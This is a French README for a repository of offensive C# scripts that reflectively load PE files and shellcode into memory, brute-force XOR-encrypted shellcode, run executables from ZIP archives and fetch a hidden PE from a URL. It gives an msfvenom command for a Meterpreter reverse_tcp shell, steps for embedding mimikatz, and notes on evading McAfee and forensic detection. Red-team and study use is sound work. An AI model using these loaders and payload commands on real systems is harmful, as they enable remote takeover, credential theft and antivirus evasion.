
Scripts offensifs en C# pour l'injection réflective de PE et de shellcode, l'exécution de payloads en mémoire, le déchiffrement de shellcode par force brute XOR et l'analyse d'assemblages .NET.
Auteur : Arno0x0x - @Arno0x0x
Ce dépôt a pour but de publier certains de mes scripts C#. Certains sont simplement dérivés ou inspirés d'autres scripts que j'ai trouvés çà et là, et que j'ai adaptés à mes besoins ou simplement pour apprendre et progresser.
bfDecryptShellcode.cs
Ce script est un PoC un peu simpliste et probablement peu utile de déchiffrement par force brute d'un shellcode chiffré en XOR multioctet. Une fois le shellcode déchiffré, il est chargé en mémoire et exécuté.
Pour l'utiliser, vous avez besoin de deux choses :
Vous pouvez obtenir les deux en utilisant mon projet ShellcodeWrapper et en lui fournissant n'importe quelle charge utile metasploit brute.
parseAssembly.cs
Cette application console charge dynamiquement un assembly .Net (exe ou dll), soit depuis un fichier local, soit téléchargé depuis une URL, éventuellement encodé en base64. Une fois chargé, elle énumère ses types, méthodes et propriétés.
Exemples :
parseAssembly.exe myAssembly.dll
ou
parseAssembly.exe http://some.site.com/myAssembly base64
Il s'agit d'une collection de scripts adaptés des travaux de Casey Smith (@subTee) sur l'injection réflexive de PE ou de shellcode dans le processus appelant, à partir de diverses sources.
peloader.cs
Ce script charge un fichier PE x64 encodé en base64 (par exemple : Mimikatz ou un Meterpreter) dans la mémoire du processus et l'exécute de manière réflexive. Le PE est passé sous forme de variable chaîne base64 au début du fichier (oui, c'est codé en dur).
Vous pouvez générer cette chaîne encodée en base64 à partir de n'importe quel fichier à l'aide de la ligne de commande *nix suivante :
root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64
La compilation du script sur une machine Windows nécessite le framework .Net (installé par défaut à partir de Windows 7) :
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs
shellcodelauncher.cs
Ce script exécute un shellcode dans la mémoire du processus et l'exécute de manière réflexive. Le shellcode est passé sous forme d'un tableau d'octets dans une variable. Vous pouvez obtenir le code approprié pour ce tableau généré automatiquement à votre intention avec l'utilitaire msfvenom de Metasploit. Par exemple, pour générer un shellcode reverse_tcp meterpreter :
root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp
La compilation du script sur une machine Windows nécessite le framework .Net (installé par défaut à partir de Windows 7) :
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs
runfromzipinmemory.cs
Ce script est largement et honteusement basé sur, inspiré de, et dérivé du travail de Casey Smith (@subTee) sur Netkatz.
J'ai découvert que l'antivirus local (McAfee) sur mon poste de travail d'entreprise est configuré pour NE PAS analyser le contenu d'un fichier ZIP, probablement en partant du principe que chaque fois que ce contenu doit être lu ou exécuté, il serait normalement d'abord extrait quelque part sur le disque, et que tout élément malveillant qu'il contient serait alors détecté par l'antivirus à ce moment-là.
Ce que fait ce script, c'est charger le tout en mémoire et travailler uniquement à partir de là, en utilisant également la réflexion pour exécuter un PE depuis la mémoire du processus appelant.
Ainsi, non seulement l'antivirus ne réagit pas du tout, mais d'un point de vue forensique, le seul « processus visiblement en cours d'exécution » semble parfaitement innocent.
Compiler le script sur une machine Windows nécessite le framework .Net (installé par défaut à partir de Windows 7) :
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs
Vous pouvez ensuite exécuter :
unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>
netPEloader.cs
Ce script est largement basé sur le travail de Casey Smith (@subTee) sur Netkatz, dont il s'inspire.
Netkatz est une excellente preuve de concept (PoC) permettant de charger la dernière version de mimikatz depuis GitHub et de l'exécuter directement en mémoire. Cependant, j'ai rencontré trois problèmes dans mon environnement :
J'ai donc modifié le script netkatz original pour résoudre ces 3 problèmes :
L'URL depuis laquelle télécharger le PE caché est codée en dur dans le script.
La compilation du script sur une machine Windows nécessite le framework .Net (installé par défaut à partir de Windows 7) :
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs